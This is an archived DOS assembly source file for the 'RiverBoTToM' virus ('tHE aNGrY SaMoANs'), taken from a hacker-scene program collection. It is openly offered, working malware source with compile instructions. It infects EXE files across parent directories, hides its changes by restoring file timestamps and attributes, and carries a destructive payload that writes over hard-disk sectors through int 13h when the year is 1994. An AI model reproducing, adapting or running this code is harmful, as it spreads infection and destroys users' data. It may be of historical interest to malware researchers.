home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / IVUPDAT2.ZIP / IVPANGRY.ZIP / RIVER7.ASM next >
Assembly Source File  |  1994-03-26  |  13KB  |  318 lines

  1. ;|------------------------------------------------------------------------|
  2. ;|  RiverBoTToM Virus Ver 0.7 Beta ( Tested OK )  written by RiverBoTToM  |
  3. ;|  Most of this code is modified IVP code -      Payload is 100%         |
  4. ;|  Ripped from P/S to YaM to Me to you             RiverBoTToM           |
  5. ;|  To compile this virus type TASM /M RIVER7; <cr>                       |
  6. ;|                             LINK RIVER7; <cr>                          |
  7. ;|                             EXE2BIN RIVER7.EXE RIVER7.COM <cr>         |
  8. ;|                             Run RIVER7.COM                             |
  9. ;|----------------------------------------------------------------------- |
  10.  
  11.  
  12. code    segment public 'code'
  13.         assume  cs:code
  14.         org     100h                           ; All .COM files start here
  15.  
  16. ID = 'RB'                                      ; Id for infected files
  17.                                                
  18. start:
  19. virus:
  20.         call    realcode                       ; Push current location 
  21. realcode:                                      ; on to stack
  22.         nop
  23.         nop                                    
  24.         nop
  25.         pop     bp                             ; Get location off stack
  26.         nop
  27.         nop
  28.         nop
  29.         nop
  30.         sub     bp,offset realcode                ; Adjust it for our pointer
  31.         nop
  32.         mov     byte ptr [bp+offset infect_cnt],3 ; Set infect counter
  33.         nop
  34.         nop
  35.  
  36.         push    ds                             ; Save ExE ds
  37.         push    es                             ; Save ExE es
  38.         push    cs
  39.         pop     ds                             ; DS now equals CS
  40.         push    cs
  41.         pop     es                             ; ES now equals CS
  42.  
  43.         lea     si,[bp+jmpsave2]
  44.         lea     di,[bp+jmpsave]
  45.         movsw                                  ; Move a word
  46.         movsw                                  ; Move a word
  47.         movsw                                  ; Move a word
  48.         movsw                                  ; Move a word
  49.  
  50.         lea     dx,[bp+offset dta]             ; Where to put New DTA
  51.         call    set_DTA                        ; Move it
  52.  
  53.         mov     ax,3524h                       ; Get int 24 handler
  54.         int     21h                            ; To ES:BX
  55.         mov     word ptr [bp+oldint24],bx      ; Save it
  56.         mov     word ptr [bp+oldint24+2],es
  57.  
  58.         mov     ah,25h                         ; Set new int 24 handler
  59.         lea     dx,[bp+offset int24]           ; DS:DX->new handler
  60.         int     21h
  61.  
  62.  
  63.         mov     ah,2ah                         ;funtion 2ah for date
  64.         int     21h
  65.         cmp     cx,07cah                       ;compare cx to 1994,(o7cah)
  66.         jne     skippay                        ;skip payload if not 1994
  67.         call    displaytxt
  68. skippay:
  69.  
  70.         mov     ax,bp
  71.         cmp     ax,0000                     ; Is BP=0000 ?, if so then we
  72.         jz      cont                        ; we have no host and must run
  73.  
  74.  
  75.         mov     ah,2ch
  76.         int     21h                         ; Dos get time function
  77.         mov     al,cl                       ; mov minutes to al          
  78.         mov     cl,6
  79.         shl     al,cl                       ; Move two lsb to msb
  80.         cmp     al,0c0h                     ; to test if mult
  81.         jnz     done                        ; of three, if not
  82. cont:                                       ; we skip this run
  83.         push    cs                             ; Restore ES
  84.         pop     es                             ; 'cuz it was changed
  85.  
  86.         mov     ah,47h                         ; Get the current directory
  87.         mov     dl,0h                          ; On current drive
  88.         lea     si,[bp+offset currentdir]      ; Where to keep it
  89.         int     21h
  90.  
  91. dirloop:
  92.         lea     dx,[bp+offset exefilespec]
  93.         call    findfirst
  94.         cmp     byte ptr [bp+offset infect_cnt],0   ; If infected two files
  95.         jz      done                                ; we done
  96.         lea     dx,[bp+offset directory]       ; Where to change too '..'
  97.         mov     ah,3bh                         ; Change directory
  98.         int     21h
  99.         jnc     dirloop                   ; If no problems the look for files
  100.                                           
  101. done:                                          ; Jump here to end
  102.         mov     ax,2524h                       ; Restore int 24 handler
  103.         lds     dx,[bp+offset oldint24]        ; To original
  104.         int     21h
  105.  
  106.         push    cs
  107.         pop     ds                          ; Do this because the DS gets 
  108.                                             ; changed
  109.         lea     dx,[bp+offset currentdir]      ; Location Of original dir
  110.         mov     ah,3bh                         ; Change to there
  111.         int     21h
  112.  
  113.         mov     dx,80h                         ; Location of original DTA
  114.         call    set_dta                        ; Put it back there
  115.  
  116.         pop     es                             ; Get original ES
  117.         pop     ds                             ; Get original DS
  118.  
  119.         mov     ax,es
  120.         add     ax,10h
  121.         add     word ptr cs:[bp+jmpsave+2],ax
  122.         add     ax,word ptr cs:[bp+stacksave+2]
  123.         cli                                    ; Clear int's because of 
  124.         mov     sp,word ptr cs:[bp+stacksave]  ; stack manipulation
  125.         mov     ss,ax
  126.         sti
  127.         db      0eah                           ; Jump ssss:oooo
  128. jmpsave dd      ?                              ; Jump location
  129. stacksave dd    ?                              ; Original cs:ip
  130. jmpsave2 dd     0fff00000h                     ; Used with carrier file
  131. stacksave2 dd   ?
  132.  
  133. findfirst:
  134.         mov     ah,4eh                         ; Find first file
  135.         mov     cx,7                           ; Find all attributes
  136.  
  137. findnext:
  138.         int     21h                            ; Find first/next file int
  139.         jc      quit                           ; If none found then change dir
  140.  
  141.         call    infection                      ; Infect that file
  142.         cmp     byte ptr [bp+offset infect_cnt],0  ; If infected two files
  143.         jz      quit                               ; we quit
  144.         mov     ah,4fh                         ; Find next file
  145.         jmp     findnext                       ; Jump to the loop
  146.  
  147. quit:
  148.         ret
  149.  
  150. infection:
  151.         
  152.         mov     ax,3d00h                       ; Open file for read only
  153.         call    open
  154.  
  155.         mov     ah,3fh                         ; Read from file
  156.         mov     cx,1ah
  157.         lea     dx,[bp+offset buffer]          ; Location to store them
  158.         int     21h
  159.  
  160.         mov     ah,3eh                         ; Close file
  161.         int     21h
  162.  
  163. CheckExe:
  164.         cmp     word ptr [bp+buffer+10h],id    ; Check EXE for infection
  165.         jz      quitinfect                     ; Already infected so close up
  166.         jmp     infectexe
  167.  
  168. quitinfect:
  169.         ret
  170.  
  171. InfectExe:
  172.         sub     byte ptr [bp+offset infect_cnt],1  ; InfectCnt - 1
  173.         les     ax,dword ptr [bp+buffer+14h]   ; Load es with seg address
  174.         mov     word ptr [bp+jmpsave2],ax      ; save old cs:ip
  175.         mov     word ptr [bp+jmpsave2+2],es
  176.  
  177.         les     ax,dword ptr [bp+buffer+0eh]   ; save old ss:sp
  178.         mov     word ptr [bp+stacksave2],es    ; save old cs:ip
  179.         mov     word ptr [bp+stacksave2+2],ax
  180.  
  181.         mov     ax, word ptr [bp+buffer+8]     ; get header size
  182.         mov     cl,4
  183.         shl     ax,cl
  184.         xchg    ax,bx
  185.         les     ax,[bp+offset DTA+26]          ; get files size from dta
  186.         mov     dx,es                          ; its now in dx:ax
  187.         push    ax                             ; save these
  188.         push    dx
  189.  
  190.         sub     ax,bx                       ; subtract header size from fsize
  191.         sbb     dx,0                        ; subtract the carry too
  192.         mov     cx,10h                      ; convert to segment:offset form
  193.         div     cx
  194.  
  195.         mov     word ptr [bp+buffer+14h],dx    ; put in new header
  196.         mov     word ptr [bp+buffer+16h],ax    ; cs:ip
  197.  
  198.         mov     word ptr [bp+buffer+0eh],ax    ; ss:sp
  199.         mov     word ptr [bp+buffer+10h],id    ; put id in for later
  200.         pop     dx                             ; get the file length back
  201.         pop     ax
  202.  
  203.         add     ax,eof-virus                   ; add virus size
  204.         adc     dx,0                           ; add with carry
  205.  
  206.         mov     cl,9                           ; calculates new file size
  207.         push    ax
  208.         shr     ax,cl
  209.         ror     dx,cl
  210.         stc
  211.         adc     dx,ax
  212.         pop     ax
  213.         and     ah,1
  214.  
  215.         mov     word ptr [bp+buffer+4],dx      ; save new file size in header
  216.         mov     word ptr [bp+buffer+2],ax
  217.  
  218.         push    cs                             ; es = cs
  219.         pop     es
  220.  
  221.         mov     cx,1ah                         ; Number of bytes to  
  222. FinishInfection:                               ; write (Header)
  223.         push    cx                             ; save # of bytes to write
  224.         xor     cx,cx                          ; Set attriutes to none
  225.         call    attributes
  226.  
  227.         mov     al,2                           ; open file read/write
  228.         call    open
  229.  
  230.         mov     ah,40h                         ; Write to file
  231.         lea     dx,[bp+buffer]                 ; Location of bytes
  232.         pop     cx                             ; Get number of bytes to write
  233.         int     21h
  234.         jc      closefile
  235.  
  236.         mov     al,02                          ; Move Fpointer to eof
  237.         Call    move_fp
  238.  
  239.         mov     ah,40h                         ; Write virus to file
  240.         mov     cx,eof-virus                   ; Size of virus
  241.         lea     dx,[bp+offset virus]           ; Location to start from
  242.         int     21h
  243.  
  244. closefile:
  245.         mov     ax,5701h                       ; Set files date/time back
  246.         mov     cx,word ptr [bp+dta+16h]       ; Get old time from dta
  247.         mov     dx,word ptr [bp+dta+18h]       ; Get old date
  248.         int     21h
  249.  
  250.         mov     ah,3eh                         ; Close file
  251.         int     21h
  252.  
  253.         xor     cx,cx
  254.         mov     cl,byte ptr [bp+dta+15h]       ; Get old Attributes
  255.         call    attributes
  256.  
  257.         retn
  258.  
  259. move_fp:
  260.         mov     ah,42h                         ; Move file pointer
  261.         xor     cx,cx                          ; Al has location
  262.         xor     dx,dx                          ; Clear these
  263.         int     21h
  264.         retn
  265.  
  266. set_dta:
  267.         mov     ah,1ah                         ; Move the DTA location
  268.         int     21h
  269.         retn
  270.  
  271. open:
  272.         mov     ah,3dh                         ; open file
  273.         lea     dx,[bp+DTA+30]                 ; filename in DTA
  274.         int     21h
  275.         xchg    ax,bx                          ; file handle in bx
  276.         ret
  277.  
  278. attributes:
  279.         mov     ax,4301h                       ; Set attributes to cx
  280.         lea     dx,[bp+DTA+30]                 ; filename in DTA
  281.         int     21h
  282.         ret
  283. int24:                                         ; New int 24h (error) handler
  284.         mov     al,3                           ; Fail call
  285.         iret                                   ; Return from int 24 call
  286.  
  287. displaytxt:
  288.  
  289.         mov     ah,09                        ;display string
  290.         lea     dx,[bp+virusname]            ;Start of text
  291.         int     21h                          ;Dos write string function nul/$ 
  292.         mov     ax,03ffh                     
  293.         mov     cx,0181h                     ; Set up for H/D attack
  294.         mov     dx,0080h
  295. stay:   int     13h                           
  296.         inc     dh                           ;will lock here 
  297.         jmp     stay                         
  298.         
  299.     
  300. Virusname db 'tHE aNGrY SaMoANs !!!',10,13        ; Name Of The Virus
  301. Author    db 'RiverBoTToM',10,13                  ; Author Of This Virus
  302. Made_with db '[IVP]',10,13                        ; Please do not remove this
  303. More      db '[IVP] GenErAted',10,13,'$'          ; $ for lame dos print int
  304.  
  305. exefilespec  db  '*.exe',0                  ; Holds type of file to look for
  306. directory    db  '..',0                     ; Directory to change to
  307.  
  308. eof     equ     $                           ; Marks the end of file
  309. infect_cnt  db   1 dup (?)                  ; Infection counter, (3)
  310. currentdir  db  64 dup (?)                  ; Holds the current dir
  311. dta         db  42 dup (?)                  ; Location of new DTA
  312. buffer      db 1Ah dup (?)                  ; Holds exe header
  313. oldint24 dd ?                               ; Storage for old int 24h handler
  314.  
  315. code    ends
  316.         end     start
  317.  
  318.